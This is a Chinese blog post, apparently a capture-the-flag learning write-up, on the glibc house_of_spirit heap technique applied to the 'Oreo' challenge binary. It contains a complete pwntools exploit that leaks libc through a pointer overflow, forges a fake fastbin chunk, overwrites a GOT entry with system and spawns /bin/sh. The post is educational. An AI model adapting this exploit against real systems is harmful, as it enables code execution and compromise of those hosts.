how2heap学习 --- house_of_spirit

栏目: C · 发布时间: 6年前

内容简介:最近在学习堆相关利用方式,由于对堆的相关机制不清楚,导致进展很慢。这里贴出相关教程1.add()

最近在学习堆相关利用方式,由于对堆的相关机制不清楚,导致进展很慢。

关于house_of_spirit

这里贴出相关教程 https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_spirit.c , 其思想就是通过free一块不可控内存,在进行一次malloc,使其可控。

Oreo

1.add()

how2heap学习 --- house_of_spirit

在add函数里面,我们可以找到这样一个结构体

size : 0x38
struct rifle {
    char des[0x19]
    char name[0x1b]
    char *preAddr
}

读入name时,可以读入56个字节,可以溢出覆盖pre_addr指针,并且,每增加一个refle,dword_804a288都会加1。

2.show()

how2heap学习 --- house_of_spirit

这个函数通过结构体最后的 pre_addr 遍历所有的chunk,并将其打印出来。

3.order() 该函数会将根据结构体的pre_addr free所有chunk 4.leave 。。。。。

how2heap学习 --- house_of_spirit

向保存在0x0804a2a8处得指针,读取128字节的数据,该地址在函数的一开始便赋了初始值 how2heap学习 --- house_of_spirit

在0x0804a2c0地址处

5 非关键函数,不做分析

通过2 show()函数,可以通过写入name,覆盖pre_addr指针,指向got表中任意函数地址-25处,从而得到libc基地址

#leak libc
sscanf_got=elf.got['__isoc99_sscanf']
name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25)
add(name_payload1, "hhh")    
show()
p.recvuntil('=\nName: ')
p.recvuntil('=\nName: ')
sscanf=u32(p.recv(4))
log.info('sscanf address ===> '+hex(sscanf))
system=sscanf-libc.symbols['__isoc99_sscanf']+libc.symbols['system']

因为got表是可写的,想要实现往got表写数据,就必须控制0x0804a2a8地址处的指针,想要控制这个指针,就需要分配一个chunk到这个地方,因为0x0804a2a4这个地方地方的值会随着refle的增加而增加,因此,我们可以通过申请0x41个chunk的方式(为什么不增加其他个数的refle:这个地址我们把它当作fake chunk的size,按照house_of_spirit的思想,我们还得malloc这个chunk,每次malloc都是固定的0xx38,所以size为0x41),我们还需要将一个chunk的pre_addr修改为0x0804a2a8,这样,这个区域就可控了,就可以改写这段内存。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
p=process('./oreo',stdin=PTY)
elf=ELF('./oreo')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level='debug'
def add(name,des):
    p.readuntil("Action:")
    p.sendline("1")
    p.readuntil("name:")
    p.sendline(name)
    p.readuntil("description:")
    p.sendline(des)

def show():
    p.recv()
    p.sendline('2')

def order():
    p.recv()
    p.sendline('3')
def leave(message):
    p.readuntil("Action:")
    p.sendline("4")
    p.readuntil("order: ")
    p.sendline(message)
#leak libc
sscanf_got=elf.got['__isoc99_sscanf']
name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25)
add(name_payload1, "hhh")    
show()
p.recvuntil('=\nName: ')
p.recvuntil('=\nName: ')
sscanf=u32(p.recv(4))
log.info('sscanf address ===> '+hex(sscanf))
system=sscanf-libc.symbols['__isoc99_sscanf']+libc.symbols['system']
#fake chunk
for i in xrange(0x40-1):
    add('aaaa','aaaa')
payload = 'a'*0x1b+p32(0x0804a2a8)
add(payload,'aaaa')
message_payload = "\x00"*36 + p32(0x41)
leave(message_payload)
order()


add('name',p32(sscanf_got))
leave(p32(system))

p.recv()
p.sendline('/bin/sh\0')

p.interactive()

一开始我并没有写下面这一段

message_payload = "\x00"*36 + p32(0x41)
leave(message_payload)

出现了报错如下

"Action: *** Error in `./oreo': free(): invalid next size (fast): 0x0804a2a8 ***\n"

然后在glibc中找到了这一段报错的代码

if (have_lock || ({
                    assert(locked == 0);
                    __libc_lock_lock(av->mutex);
                    locked = 1;
                    chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ ||
                        chunksize(chunk_at_offset(p, size)) >= av->system_mem;
                })) {
                errstr = "free(): invalid next size (fast)";
                goto errout;
            }

在进行free chunk的时候一般会检查next chunk的size,下一个chunk的大小不能小于两倍的SIZE_SZ,并且下一个chunk的大小不能大于system_mem, 一般为132k,否则出现这样的情况,就报错。(这只是检查之一,以后我们整理一下分配回收机制的各种检查)如果没有上面那一段脚本对fake next chunk size做调整,就会报错


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

21天学通C语言

21天学通C语言

(美国)琼斯(Bradley L.Jones) (美国)埃特肯(Peter Aitken) / 信达工作室 / 人民邮电出版社 / 2012-8 / 69.00元

《21天学通C语言(第6版•修订版)》是初学者学习C语言的经典教程。本版按最新的标准(ISO∕IEC:9899-1999),以循序渐进的方式介绍了C语言编程方面知识,并提供了丰富的实例和大量的练习。通过学习实例,并将所学的知识用于完成练习,读者将逐步了解、熟悉并精通C语言。《21天学通C语言(第6版•修订版)》包括四周的课程。第一周的课程介绍了C语言程序的基本元素,包括变量、常量、语句、表达式、函......一起来看看 《21天学通C语言》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

在线进制转换器
在线进制转换器

各进制数互转换器

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具